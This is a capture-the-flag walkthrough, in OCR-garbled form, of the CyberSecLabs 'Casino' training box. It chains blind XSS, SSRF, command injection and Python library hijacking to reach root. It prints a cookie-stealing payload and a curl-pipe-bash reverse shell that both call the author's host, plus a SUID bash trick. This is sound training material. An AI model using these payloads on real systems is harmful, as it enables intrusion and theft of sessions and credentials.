Challenge Labs

Casino CyberSeclabs
Nmap Scan:

~

17 e b S ia T Desktop/B2B/CyberSecLabs/Linux/Casino/nmapscan
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-13 05:59 WAT
Nmap scan report for 172.31.3.7
Host is up (0.23s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu®.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
2048 34:5c:51:eb:90:a2:79:74:42:3b:af:8b:64:66:2f:a2 (RSA)
[ 256 d5:76:0c:92:ef:e1:83:9e:37:63:46:00:eb:9d:7b:05 (ECDSA)
|_ 256 cd:4f:f8:48:9a:¢c7:38:85:a2:05:9¢c:3b:44:20:01:8c (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| _http-title: River - Index
| _http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 16.35 seconds

From the scan this machine is a linux box with only two ports open. Lets start enumerating port 80 which runs web
server.

On heading to the web server we see a page which tends to provide gambling services. | noticed the search baralso.
€« > C 0 O @& 1723137 b 9 @ [}

KaliLinux #8 KaliTools < KaliDocs N Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed —#FreeTh... () Offensive Security Che... 'R regex101: build, test,a... "~ Regulex : JavaScriptR...

River Play Re eam ToS [search - In Development

Ay

A
MOST TRUST LINE GAMBLING PLATFORM.

| decided to check out if | can get anything out of the search function. But it looks like anything we search will return
the output of exactly what we searched.

1/17



<« Cc @ O & 3137 b s (]

KaliLinux 8 KaliTools < KaliDocs N Kali Forums e Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh. Offensive Security Che... 'R regex101: build, test,a... = Regulex : JavaScriptR...

testing

So | decided to test for ssti. And the result of my payload was evaluated.

<« > C @ O & m337 Al ;

0

KaliLinux # KaliTools « KaliDocs N Kali Forums e Kali NetHunter Exploit-DB % Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh.. Offensive Security Che... 'R regex101: build, test,a... = Regulex : JavaScriptR...

River Play R {rm

<« C @ QO & 1723137, o s 7 ]

Kali Linux 8 KaliTools ¢ KaliDocs N Kali Forums o Kali NetHunter Exploit-DB Google Hacking DB @) GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh.. i yChe... R regex101:build, test,a... = Regulex : JavaScriptR...

So next thing | did was to check the request out and use tplmap(an automated ssti exploitation tool) to try an gain
shell.

Dashboard ~ Target P intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn  BurpBountyPro
HTTP history ~ WebSockets history ~ Options

(P Request tohttp://172.31.37:80

Forward Drop Action Open Browser Comment this item W

Raw  Hex " = Inspector w[) =
1 POST /search HTTP/1.1
2 Host: 172.31.3.7 Request Attributes

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
S Accept-Language: en-US,en;q=0.5

5 Accept-Encoding: gzip, deflate

7 Content-Type: application/x-www-form-urlencoded

8 Content-Length: 8

Request Query Parameters

Request Body Parameters

o Origin: http://172.31.3.7 Request Cookies
10 Connection: close
11 Referer: http://172.31.3.7/ Request Headers

2 Upgrade-Insecure-Requests: 1

4 search=a
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~/Desktop/Tools/tplmap
tplmap.py http T drr kS eal, arch POST
Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool

~
L
—

Testing if POST parameter 'search' is injectable
Smarty plugin is testing rendering with tag '*
Smarty plugin is testing blind injection

Mako plugin is testing rendering with tag '${*}
Mako plugin is testing blind injection
Python plugin is testing rendering with tag
Python plugin is testing blind injection
Tornado plugin is testing rendering with tag '{{*}}'
Tornado plugin is testing blind injection

Jinja2 plugin is testing rendering with tag '{{*}}
Jinja2 plugin has confirmed injection with tag '{{*}}'
Tplmap identified the following injection point:

str(*)

(o e W W W e W e W e W e W e W e W e W |

+ + + + 4+ +++ + + + +

e o o o e o o o o e e

POST parameter: search
Engine: Jinja2

Inj ion: {{*}}
Context: text

0S: undetected
Technique: render
Capabilities:

Shell comm - no
Bind and r e shell: no
rite
read: no
evaluation: no

[+] Rerun tplmap providing one of the following options:

~/Desktop/Tools/tplmap

After running tplmap we see its using Jinja2 template engine but gaining code execution won't be possible as you can
see from the result maybe they set restriction of some sort.

But lets move on.

| started checking out other functions in the web page and | came across a login page and a requst account page but

the login page isn't worth focusing on cause we don't have credentials. So lets move on to the request account page.
« C @ O & 1723137 g & 7 )

KaliLinux # KaliTools < KaliDocs N Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed —#FreeTh... () Offensive Security Che... R regex101: build, test, a... Regulex : JavaScriptR...

River Play RequestAccount Team ToS

Sign In

Username

Password

Incorrect username or password.

On heading to the request account page we can see it requring inputs from the user then after sending it the web
server response says its been sent and will we should be expecting a response shortly..
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« Cc @ O @ 1723137, b &F [

KaliLinux 4 Kali Tools « KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh... Offensive Security Che... R regex101: build, test,a... = Regulex : JavaScriptR...

River Play ReguestA t Te Search - In Development

Request Account

Due to our ToS, we require for all users to request an account and confirm their age.

The second phase of creating an account at River Casino requires a government issued ID.

First Name Last Name

| 3

Email Note for Staff (Optional)

you@example.com

Submit to Continue Verification Process

Request sent, expect a response shortly!

So what my mind went to first was to check for cross site scripting (xss). But we can't know for sure if it works cause
its more of like a blind xss if it were to be vulnerable. So | decided to check my assumption.
| sent a basic cookie stealer that will send a request back to my own host.

< C @ O A& 1723137 pS & °

Kali Linux # Kali Tools « KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh... Offensive Security Che... R regex101: build, test,a... "~ Regulex : JavaScriptR...

River Play RequestA t Te: S Search - In Development

Request Account

Due to our ToS, we require for all users to request an account and confirm their age.

The second phase of creating an account at River Casino requires a government issued ID.

First Name Last Name
<h1>haxor</h1> <h1>haxor</h1>
Email Note for Staff (Optional)
test@test.com| <img sr¢=x onerror=this.src="http://10.10.0.78/?"+document.cookie;>

Submi ontinue Verification Process

Request sent, expect a response shortly!

After sending it and | taught for a while it was wrong since | wasn't getting any response back from my netcat listener
while I was about to cancel it then boom i got a request on my listener with the stolen cookie.

Ubuntu; Linux x¢ ; rv:78.0) Gecko/20100101 Firefox

yIrkMuZsHF4AQo\ psc7DByRRutXEfIKfY

Next thing is to decode the base64 stringin that request. When decoded it shows a credential.
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~/../B2B/CyberSecLabs/Linux/Casino

erlich:1 _LOv3

~/../B2B/CyberSeclLabs/Linux/Casino

So | tried the credential over ssh but it failed.
~/../B2B/CyberSeclLabs/Linux/Casino

erlich:1_LOv

~/../B2B/CyberSeclLabs/Linux/Casino
erlich@l72.31.3.7
The authenticity of host '172.31.3.7 (172.31.3.7)' can't be established.
ED25519 key fingerprint is SHA256:K1Lz8wW+p9YimFjXz3B/gzrXpbT1R/ByBRbUsz1L4JA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes

Warning: Permanently added '172.31.3.7' (ED25519) to the list of known hosts.
erlich@l72.31.3.7's password:

Permission denied, please try again.

erlich@l72.31.3.7's password:

Permission denied, please try again.

erlich@l72.31.3.7's password:

~/../B2B/CyberSecLabs/Linux/Casino

Now on the web server we found a login page lets try the credential onit. And we're logged in.
<« C @ O @ o 1723137, b & 7 [

Kali Linux 8 KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed —#FreeTh... () Offensive Security Che... 'R regex101: build, test,a... '~ Regulex : JavaScriptR...

River Play RequestAccount Team ToS

Incorrect username or password.

When logged in there's nothing really on the web page except a function that claims to check btc price
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- c ® O @ 1723137 % o & 7 (]

Kali Linux #8 KaliTools « KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB - @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh... {J Offensive Security Che... R regex101: build, test,a... ™ Regulex : JavaScriptR...

River Play RequestAccount Tean

After clicking it, it shows btc price api in development.

<« C @ O & 1723137, w

KaliLinux # KaliTools < KaliDocs N Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB - @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh. (b Offensive Security Che... R regex101: build, test,a... = Regulex : JavaScript
BTC Price API In Development

Letsclickitagainand see the request its making. From the result its sending a post request with parameter BTC
which contains a url. When decoded the request is making a call directly from the localhost i.e http://localhost/
btc.price. Now what we would want to test here is server side request forgery (ssrf).

Dashboard  Target Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn  BurpBountyPro
HTTP history ~ WebSockets history ~ Options

P Request to http:/172.31.3.7:80
Forward Drop Action Open Browser t W wren (3

Raw  Hex B n =
1 POST /play HTTP/1.1
2 Host: 172.31.3.7

Inspector ® [ = - & X

Selection u A
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Selected text
S Accept-Language: en-US,en;q=0.5
5 Accept-Encoding: gzip, deflate http%3a%2F%2Flocalhost%2Fbtc
7 Content-Type: application/x-www-form-urlencoded -price
8 Content-Length: 38
origin: http://172.31.3.7
10 Connection: close Decoded from:  URLencoding v @
11 Referer: http://172.31.3.7/play
12 Cookie: session=eyJsb2dnzwRpbiI6ILRydWUifQ.YSgL1A. xG7LMGF]kCyKPKWtPPSZ_ZvQtom http://localhost/btc.price
13 Upgrade-Insecure-Requests: 1
15 BTC=http%3%2Fs2Flocalhosts2Fbtc. price -
Request Attributes 2 v
Request Query Parameters o v
N Request Body Parameters 1
Request Cookies 1
Request Headers 2 v

FFirstly lets send the request to repeater so as to easily modify any change we wish to make. So instead of me
requesting btc.price | tried loading the /play file of the web page and it loads this confirms ssrf.
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http://localhost/btc.price
http://localhost/btc.price
http://localhost/btc.price.

Dashboard  Target  Proxy  Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn  BurpBountyPro

1x  + Q
BB @) cncel (<[> Target: http://172.31.3.7 /°  HTTPN (3)
== = =

Request Response Inspector == - & X
Pretty  Raw  Hex M = | pretty Raw  Hex  Render W = | pequest Attributes B -
1 POST /play HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 172.31.3.7 2 Date: Tue, 13 Dec 2022 05:28:56 GMT Request Query Parameters B -
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 3 Server: Apache/2.4.29 (Ubuntu)
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 4 Vary: Cookie,Accept-Encoding
S Accept-Language: en-US,en;q=0.5 S Connection: close RequestBodyPammeters » v
6 Accept-Encoding: gzip, deflate 6 Content-Type: text/html; charset=utf-g
7 Content-Type: application/x-www-form-urlencoded 7 Content-Length: 3316 Request Cookies i v
8 Content-Length: 33 8
9 Origin: http://172.31.3.7 9 <!DOCTYPE html> Request Headers. 12 v
10 Connection: close 10 <html lang="en" dir="ltr'>
11 Referer: http://172.31.3.7/play 11 <head>
12 Cookie: session=eylsb2dnzZwRpbiI6I1RydwUifQ.YSgL1A.xG7LMqF]kCyKPKWtPPSZ_ZvQtoMm 12 <meta charset="utf-g8"> (s e v
13 Upgrade-Insecure-Requests: 1 13 <title>
14 River - Login
15 BTC=http%3A%2F%2Flocalhost%s2Fplay </title>

14 <link rel="stylesheet" href="

https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="
sha384- 9aI t2nRpC12Uk 9gS9baD1411NQAPFMC26EWAOHBWZLSMYY xFf c+NcPb1dKGj 7Sk crossorigin="
anonymous" >

15 <link rel="stylesheet" href="/static/style.css">

16 </head>

17 <body>

18 <nav class="navbar navbar-expand-1lg navbar-dark bg-dark">
19 <a class="navbar-brand" hrefk® /">

<img class="tilty" src="/static/six.svg" width="30" height="30" class="d-inline-block
align-top" alt="" loading="lazy">
River
</a>
20 <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="
#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">

21 <span class="navbar-toggler-icon">
</span>

22 </button>

23

Next thing we would want to dois to scan forinternal ports open andyes that is very possible.

Sowhat | did was to save the request in a file then add the FUZZ parameterin the request i.e BTC=http://
localhost:FUZZ and of cause we need to urlencode it so as for the web server to understand the request.
Sol generateda list that contains number starting from 0-65535.

rlencoc

ali NetHunter

URL @ Decode

Decode and Encode [

Do you have to deal with URL-encoded format? Then this site is perfect for you! Use our super handy online tool to encode or decode your data.

Encode to URL-encoded format + Bonus tip: Bookmark us!

Simply enter your data then push the encode button.

httpi/fiocalhost FUZZ

@ To encode binaries (like images, documents, etc.) use the file upload form a lite further down on this page.
UTF8. v Destination character set.
LF (Unix) | Destination newine separator.
Encode each line separately (useful for when you have muliple entries).
Splitlines into 76 character wide chunks (useful for MIME).

@ Livemode OFF | Encodes in real-time as you type or paste (supports only the UTF-8 character set).

DA =\ (ool BEQN Encodes your data into the area below.

hitp%3A%2F%2Flocalhost%3AFUZZ
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~/../B2B/CyberSecLabs/Linux/Casino
for 1 in {1..65535 do $1:; done internalport

~/../B2B/CyberSecLabs/Linux/Casino
internalport
65535 internalport

~/../B2B/CyberSecLabs/Linux/Casino
internalport

1
2
3
4
5
6
7
8
9
1 0

~/../B2B/CyberSecLabs/Linux/Casino
internalport

~/../B2B/CyberSecLabs/Linux/Casino

Then using ffuf we can get the internal ports running on the target.
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~/../B2B/CyberSecLabs/Linux/Casino
request http internalports

Method :

URL : http://172.31.3.7/play

Wordlist : FUZZ: internalports

Header : Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp,*/*;q=0.
Header : Origin: http://172.31.3.7

Header : Referer: http://172.31.3.7/play

He r : Cookie: session=eyJlsb2dnZWRpbiI6I1RydWUifQ.Y5gL1A.xG7LMgFjkCyKPKWtPPSz_ZvQt9M
Header : Upgrade-Insecure-Requests: 1

Header : User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Header : Accept-Language: en-US,en;q=0.5

Header : Accept-Encoding: gzip, deflate

Header : Content-Type: application/x-www-form-urlencoded

Header : Connection: close

Header : Host: 172.31.3.7

Data : BTC=http%3A%2F%2Flocalhost%3AFUZZ

Follow redirects : false

Calibration : false

Timeout : 10

Threads : 40

Matcher : Response status: 200,204,301,302,307,401,403,405,500

[Status: 302, Size: 219, Words: 22, Lines: 4, Duration: 332ms]
9000 [Status: 302, Size: 219 jords: 22, Lines: 4, Duration: 295ms]
Progress: [2/2] :: Job [1/1] :: 3 req/sec :: Duration: [0:00:10] :: Errors: 0 ::

~/../B2B/CyberSecLabs/Linux/Casino N

We see that two ports are open both 80 and 9000. We will be checking on port 9000 .
When we add the port to the request we can see it loads another web page.

==
Raw  Hex B 2 = | pretty Raw  Hex Rende 8w =
1 POST /play HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: 172.31.3.7 2 Date: Tue, 13 Dec 2022 06:01:31 GMT
User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Server: Apache/2.4.29 (Ubuntu)
1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,1image/webp,*/*;q=0.8 1 Vary: Cookie,Accept-Encoding
Accept-Language: en-US,en;q=0.5 Connection: close
Accept-Encoding: gzip, deflate Content-Type: text/html; charset=utf-8
7 Content-Type: application/x-www-form-urlencoded 7 Content-Length: 2424
8 Content-Length: 34 8
o Origin: http://172.31.3.7 <!DOCTYPE html>
Connection: close 10 <html lang="en" dir="ltr">
1 Referer: http://172.31.3.7/play 1 <head>
12 Cookie: session=eyJsb2dnZwRpbiI6I1RydwUifQ.YSgVHg.9K9t8VGCWICgYCk3IhejrlzoMsg 12 <meta charset="utf-g">
13 Upgrade-Insecure-Requests: 1 1 <title>
1 River - Index
S BTC=http%3A%2F%s2Flocalhost : 9000fs2F </title>

14 <link rel="stylesheet" href="
https: //stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css" integrity="
sha384- 9aI t2nRpC12Uk 9gSobaDl 41 1NQAPFMC26EWAOHEWGZLSMYY xFf c+NcPb1dKGj 7Sk crossorigin="

anonymou
<link rel=
</head>

ylesheet" href="/static/style.css"> 3

v class="navbar navbar-expand-lg navbar-dark bg-dark">
<a class="navbar-brand" href="/">
<img class="tilty" src="/static/six.svg" width="30" height="30" class="d-inline-block
align-top" alt="" loading="lazy">
River - Developer
</a>
<button class="navbar-toggler" type="button" data-toggle="collapse" data-target="
#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation"s
span class="navbar-toggler-icon">

22 </button>

24 <div class="collapse navbar-collapse" id="navbarSupportedContent">
25 <ul class="navbar-nav mr-auto">
<li class="nav-item active">
<a class="nav-link" href="/admin">
Administrator Panel <span class="sr-only"s>
(current)
</span>
</a>
2 </li>

PYRERTY

Looking at the source code well we can see an/admindirectory link. So lets add that to our request.
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| a: =
Pretty Raw Hex Render =] \n =
“:J.IHL_] cLass=" L1l L L)’ TOSre=ET/sLdLlc/six. 'o"-’g" wilaLn="swu- llelg” L="3U" CLASS="U-1ILuLLrne-pLocKk
align-top" alt="" loading="lazy"=
River - Developer
</a>
2C <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="
#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria- label="Toggle navigation"=>
21 <span class="navbar-toggler-icon"=>
</span>
22 </button>
24 <div class="collapse navbar-collapse" 1d="navbarSupportedContent"=>
25 <ul class="navbar-nav mr-auto">
26 <li class="nav-item active">
27 <a class="nav-link" href="/admin">
Administrator Panel <span class="sr-only"=>
(current)
</snan>
a- -
Raw  Hex n = Pretty Raw  Hex  Render nw =
1 POST /play HTTP/1.1 aria-label="Toggle navigation">
2 Host: 172.31.3.7 21 <span class="navbar-toggler-icon">
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 </span>
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 22 </button>
S Accept-Language: en-US,en;q=0.5 23
5 Accept-Encoding: gzip, deflate 24 <div class="collapse navbar-collapse" id="navbarSupportedContent®s
7 Content-Type: application/x-www-form-urlencoded 25 <ul class="navbar-nav mr-auto">
S Content-Length: 40 2 <li class="nav-item active"s
o origin: http://172.31.3.7 27 <a class="nav-link" href="/admin">
10 Connection: close Administrator Panel <span class="sr-only"=
11 Referer: http://172.31.3.7/play (current)
12 Cookie: session=eyJsb2dnZwRpbiI6I1RydwUifQ.YSgVHg.9K9t8VGCWICgYCk3Ihe]rlzoM8g </span>
12 Upgrade-Insecure-Requests: 1 3 </a>
14 2 </li>
15 BTC=http%3A%2F%2Flocalhost : 9000%2F/admin 29 </divs
3 </nav>
2 <hl style="text-align: center; margin-top: 20px">
Administrator Panel
</hl>
<hr style="margin: SOpx">
4 <!-- Team -->
S <div class="row" style="text-align: center; margin: 30px">
<div class="col-1g-4">
7 <h2>
Execute Commands
</h2>
3 <form method="POST">
3 <input name="cmd® class="form-control" placeholder="Command" autofocus>
4 <button class="btn btn-primary btn-1lg btn-block" type="submit">
Execute
</button>
41 </form>
On loading the /admin page we see it makes a post request usingcmd as a parameter andits likely executing a
command cause the head tag says Execute Commands.
So | tried sending the request using cmd as a parameter.
= -
Raw  Hex n = Pretty ~Raw  Hex  Render n =
1 POST /play HTTP/1.1 ) S/pdLLon=
2 Host: 172.31.3.7 B </form>
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 o
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 By
S Accept-Language: en-US,en;q=0.5 e “p>
Accept-Encoding: gzip, deflate - P
7 Content-Type: application/x-www-form-urlencoded ) - g;ey
2 Content-Length: 51 P /P
o Origin: http://172.31.3.7 o
10 Connection: close o
11 Referer: http://172.31.3.7/play , </divs

12 Cookie: session=eyJsb2dnzwRpbiI6I1RydwWUifQ.YSgVHg.9K9t8VGCWICgYCk3Jhe]jrlz0M8g

13 Upgrade-Insecure-Requests: 1 -

15 BTC=http%3A%2F%s2Flocalhost: 9000%2F/admin? cmd=whoami

<l-- /.col-1g-4 -->
<div class="col-1lg-4">
<h2>
Manage Users
</h2>
<p>
k In Development

And we can see the command ran successfully now lets get shell.

| hosted a python server that has a python reverse shellinit.

~/Desktop/Scripts
script.sh
!/bin/bas

xport RPORT=4444;python3 -c 'import sy

~/Desktop/Scripts

v("RPORT")))); eno(),fd) for fd in (
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~/Desktop/Scripts
http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/)
172.31.3.7 - - [13/Dec/2022 07:10:59] "GET /script.sh HTTP/1.1" 200 -

Sol made a curl request to my http server then pipedit tobashi.e curl http://10.10.0.78:8081/script.sh |
bash.
Theni got a hit on my listener.

~/../B2B/CyberSecLabs/Linux/Casino
10.10.0.78 4444
Welcome to !
connection from 148564
10.10.0.78: : upgrading from dash to
1 72 LB T : registered new host w/ db
(local) pwncat$ back
grey@casino:/$ |

So after getting shell | checked the user home's directory. And | found a .git directory.

grey@casino:/home/grey$ 1ls -al
total 44
drwxr-x--- grey grey 4096 Dec 13 06:16
drwxr-xr-x root root 4096 Jul 14 2020
-rw-rw-r-- grey grey 33 Jul 14 2020 access.txt
drwxrwxr-x grey grey 4096 Jul 14 2020
-rw grey grey 22 Jul 14 2020 .bash_history
-rw-r--r grey grey 220 Jul 14 2020 .bash_logout
-rw-r--r grey grey 3771 Jul 14 2020 .bashrc
drwxr grey grey 4096 Dec 13 06:16
drw grey grey 4096 Dec 13 06:16
drwxrwxr-x 3 grey grey 4096 Jul 14 2020
-rw-r--r-- 1 grey grey 807 Jul 14 2020 .profile
grey@casino:/home/grey$ cd adminPanel/
grey@casino:/home/grey/adminPanel$ 1ls -al
total 24
drwxrwxr-x
drwxr-x---
-IrwXrwxr-x
drwxrwxr-x

grey grey 4096 Jul 14 2020

grey grey 4096 Dec 13 06:16

grey grey 692 Jul 14 2020 app.py

grey grey 4096 Jul 14 2020

drwxrwxr-x grey grey 4096 Jul 14 2020

drwxrwxr-x grey grey 4096 Jul 14 2020
grey@casino:/home/grey/adminPanel$ |

NNOOFEOWUD

| transferred the .git directory to my host machine usingwget recursivelyi.e wget <target>/.git -r
Then | used a git tool called extractor which will find all commits made in that git repository then save it formeina
directory.



http://10.10.0.78:8081/script.sh

~/../B2B/CyberSecLabs/Linux/Casino
~/Desktop/Tools/GitTools/Extractor/extractor.sh
HHHH
Extractor is part of https://github.com/internetwache/GitTools

Developed and maintained by @gehaxelt from @internetwache
Use at your own risk. Usage might be illegal in certain circumstances.

Only for educational purposes!
HHRHHHH

#
#
#
#
#
#
#

~/../B2B/CyberSeclLabs/Linux/Casino
~/Desktop/Tools/GitTools/Extractor/extractor.sh . extracted|j

So after | runthe command it wil save all the commit locally in the directory | specified it to do so which is extracted/
And from the result we can see two commits were made.

~/../B2B/CyberSecLabs/Linux/Casino
internalports nmapscan portlists request webcred

~/../B2B/CyberSecLabs/Linux/Casino
extracted

~/../CyberSecLabs/Linux/Casino/extracted

/

~/../CyberSecLabs/Linux/Casino/extracted

Lets check the first commit.
On checking the first commit we see the python scripts that was used to host the port 9000 web server but what is of
interest there is the the app.py which seems to have credential for a user carla.
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~/../Linux/Casino/extracted/0-2368eaecac8eld1747f0b2b5dba6f80aebhl1d36a45
C app.py
#! python3
# beta user: carla
# password: >F735zS36>V$tIimc

from flask import *
import os

app = Flask(__name__)
app.secret_key = "1_LOv3$%$$"’
@app.route('/', methods=["GET", "POST"])
def 1index():
if request.remote_addr != "127.0.0.1"
return "Localhost Access Only!"
return render_template('index.html")

@app.route('/admin', methods=["GET", "POST"])
def admin():
if request.remote_addr != "127.0.0.1":
return "Localhost Access Only!"
if request.method == "POST" and request.form.get("cmd"):
cmd = request.form.get("cmd")
output = os.popen(cmd).read()
flash(output, "info")
return render_template('admin.html"')

app.run(debug=True)

~/../Linux/Casino/extracted/0-2368eaecac8eld1747f0b2b5dba6f80aebhl1d36a45
|

Andthere's a user on the box whose name is carla. Lets try sshing to the box as user carla.
And it worked.

~/../B2B/CyberSeclLabs/Linux/Casino
carla@l72.31.3.7

carla@l72.31.3.7's password:
Nelcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-111-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Tue Dec 13 06:29:14 UTC 2022

System load: 0.44 Processes: 102

Usage of /: 43.6% of 11.75GB Users logged in: 0

Memory usage: 60% IP address for eth®: 172.31.3.7
Swap usage: 0%

* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

50 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

carla@casino:~$ |}

Ondoing sudo -l we see that the user can run the script in the /opt directory as root.




carla@casino:~$ sudo -1
ng Defaults entries for carla on cas
mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carla may run the following commands on casino:
/opt/updateBTCPrice.py

Lets check out the content of the script. Looks like its making a get request to coinbase web site then putting the
result inits local web server, then restarting apache2 service. And also on checking the permission of the file we see
thatits not writable.

$ cat /opt/updateBTCPrice.py

#!/usr/bin/python3

from datetime import datetime
import requests

print(datetime.now())

try:

btcPri
import os
os.system("service apache2 restart")

print("ERROR: Could not connect to coinbase!")
asino:~$ 1s -al /opt/updateBTCPrice.py
r 1 root root 378 Jul 14 2020 /opt/updateBTCPrice.py

So how do we exploit this one possiblity we can try is python library hijacking. The script is importing some python
modules but what if the path to those modules are writeable we can exploit it of cause but in this case itisn't.

But on looking at the sudo permission granted to user carla we see it also as SETENV meaning we can specify the
path for the script toimport its modules.

Here's a good resource on how to exploit python library hijacking.
> C @ O 8 https://medium.com X 8 B o ® o

KaliLinux # KaliTools « KaliDocs N Kali Forums  Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHashed — #FreeTh... () Offensive Security Che... 'R regex101: build, test,a... ™~ Regulex : JavaScriptR...

[
(1] ) @ write (7] ‘D

@ Put n Analytics Vidhya
) Cristian Cornea
1,2020 - 5 ead - @ Listen ]

Python Library Hijacking on Linux (with Crstan Cornea
examples) 17K Followers

Follow @

More from Medium

€ Anmol Tomar in Codex =

Say Goodbye to Loops in
Python, and Welcome
Vectorization!

@ Peng Cao in Level Up Coding

A Step-By-Step Guide to
Crack Wifi Password with

Python
‘ . Q Dw3113r in System Weakness
Photo by David Clode on Un: h Basic Pentesting Cheat Sheet
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< C @ O B8 htt medium.com

KaliLinux # KaliTools ¢ KaliDocs ¥ Kali Forums e\ Kali NetHunter Exploit-DB Google Hacking DB @ GitStack 2.3.10 OffSec HackTheFlag DeHash

SCENARIO 3: Redirecting Python Library Search through PYTHONPATH
Environment Variable

The PYTHONPATH environment variable indicates a directory (or

directories), where Python can search for modules to import.
It can be abused if the user got privileges to set or modify that variable,
usually through a script that can run with sudo permissions and got the

SETENYV tag set into /etc/sudoers file.

In our example, I moved the Python module to the /tmp/ folder.

There it is!

Now that we know how to exploit this lets go about it.
We see that the script imports datetime module.

g 1tries for carla on casino:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

- carla may run the following commands on casino:
(root) SETENV: /opt/upd TCPric )
i cat /opt/updateBTCPrice.py

from datetime import datetime
import requests

print(datetime.now())

try:
price = requests.g - E oF: .com/pr / DI
btcPri ( §

Lice.close()
import os
os.system("service apache2 restart")

print("ERROR: Could not connect to coinbase!")

s
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So for this lets create a fake datetime python module in the temp directory. Sowhat this is suppose to dois that it
copies /bin/bash to the temp directory then gives it suid perm.

$ 1s
datetime.py

carla@casino: $ cat datetime.py

import os

os.system("cp /bin/bash /tmp/rootshell; chmod +s /tmp/rootshell")
carla@casino: $

Now lets run the sudo permission. It should throw an error because it can't run all those commands since itisn't
going to be calling the real datetime module.

carla@casino: $ sudo -1
Matching Defaults entries for carla on casino:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User carla may run the following commands on casino:
(root) SETENV: /opt/updateBTCPrice.py
carla@casino: $ sudo PYTHONPATH=/tmp /opt/updateBTCPrice.py
Traceback (most recent call last):
File "/opt/updateBTCPrice.py", line 3, in <module>
from datetime import datetime
ImportError: cannot import name 'datetime’
Error in sys.excepthook:
Traceback (most recent call last):
